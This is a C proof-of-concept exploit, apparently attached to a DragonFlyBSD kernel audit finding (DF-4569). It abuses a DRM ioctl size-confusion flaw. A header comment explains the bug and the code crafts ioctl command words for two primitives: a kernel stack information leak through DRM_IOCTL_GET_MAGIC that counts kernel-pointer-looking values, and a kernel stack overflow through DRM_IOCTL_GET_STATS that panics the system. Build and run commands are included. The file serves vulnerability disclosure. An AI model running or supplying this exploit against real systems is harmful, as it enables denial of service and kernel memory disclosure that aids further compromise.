⬢ DragonFlyBSD Kernel Audit
DF-4569 / drm_size_confusion.c
← back to finding ↓ download raw
/*
 * drm_size_confusion.c -- DF-4569: real-DRM trigger (needs /dev/dri/cardN).
 *
 * DragonFly's drm_ioctl() (sys/dev/drm/drm_ioctl.c:801) dispatches purely on
 * DRM_IOCTL_NR(cmd) == cmd & 0xff and never compares the user cmd against
 * the canonical drm_ioctl_desc.cmd from the table.  On DragonFly the ioctl
 * argument buffer is allocated by mapped_ioctl() (sys/kern/sys_generic.c:668,
 * 674-680) with the size taken from the USER's command word:
 *
 *   - IOC_VOID cmds always get the 128-byte on-stack buffer,
 *   - non-VOID cmds get kmalloc(IOCPARM_LEN(cmd)) when size > 128,
 *     else the same 128-byte stack buffer,
 *   - after a successful handler return, IOC_OUT cmds copy `size' bytes
 *     back out (sys_generic.c:729-730) -- from the 128-byte stack buffer
 *     even when `size' is 8191 and the buffer was only 8 bytes initialized.
 *
 * Meanwhile every DRM handler treats `data' as a pointer to the full
 * compile-time struct.  Two primitives:
 *
 *   [smash] DRM_IOCTL_GET_STATS (nr 0x06, no DRM_AUTH needed -- flags are
 *           DRM_UNLOCKED only): drm_getstats() does
 *           memset(stats, 0, sizeof(struct drm_stats)) == 248 bytes
 *           (sys/dev/drm/drm_ioctl.c:221).  With a user size <= 128 that
 *           memsets 120 bytes past mapped_ioctl()'s 128-byte ubuf.stkbuf
 *           -> kernel stack buffer overflow, deterministic panic.
 *
 *   [leak]  DRM_IOCTL_GET_MAGIC (nr 0x02, no auth needed): drm_getmagic()
 *           writes 4 bytes and returns 0 (sys/dev/drm/drm_auth.c:58-76).
 *           Issue it as IOC_VOID|IOC_OUT with size 1024..8191: the final
 *           copyout ships `size' bytes of kernel stack to userland.
 *
 * Build: cc -O2 -o drm_size_confusion drm_size_confusion.c
 * Run:   ./drm_size_confusion /dev/dri/card0 leak
 *        ./drm_size_confusion /dev/dri/card0 smash      # panics the box
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define IOC_VOID_DF	0x20000000UL
#define IOC_OUT_DF	0x40000000UL
#define GROUP_DF	'd'

#define DRM_NR_GET_MAGIC	0x02	/* drm_getmagic  */
#define DRM_NR_GET_STATS	0x06	/* drm_getstats  */

int
main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/dev/dri/card0";
	const char *mode = argc > 2 ? argv[2] : "leak";
	size_t size = argc > 3 ? (size_t)strtoul(argv[3], NULL, 0) : 2048;
	unsigned long cmd;
	unsigned char *buf;
	int fd, err;

	if (size == 0 || size > 8191) {
		fprintf(stderr, "size must be 1..8191\n");
		return 2;
	}

	fd = open(path, O_RDWR);
	if (fd < 0) {
		perror(path);
		return 2;
	}
	buf = calloc(1, size + 16);

	if (strcmp(mode, "leak") == 0) {
		cmd = (IOC_VOID_DF | IOC_OUT_DF) | (size << 16) |
		      (GROUP_DF << 8) | DRM_NR_GET_MAGIC;
	} else {
		cmd = IOC_OUT_DF | (size << 16) | (GROUP_DF << 8) |
		      DRM_NR_GET_STATS;
		size = 8;	/* small: force the on-stack buffer */
	}

	printf("DF-4569 %s on %s, cmd=0x%lx nr=0x%02x size=%zu\n",
	       mode, path, cmd, (unsigned)(cmd & 0xff), size);

	err = ioctl(fd, cmd, buf);
	printf("ioctl returned %d\n", err);

	if (strcmp(mode, "leak") == 0) {
		size_t i;
		unsigned long v;
		int hits = 0;

		for (i = 0; i + 8 <= size; i += 8) {
			memcpy(&v, buf + i, 8);
			if ((v >> 48) == 0xffff &&
			    v != 0xffffffffffffffff)
				hits++;
		}
		printf("kernel-pointer-looking qwords: %d / %zu\n",
		       hits, size / 8);
	}
	close(fd);
	return 0;
}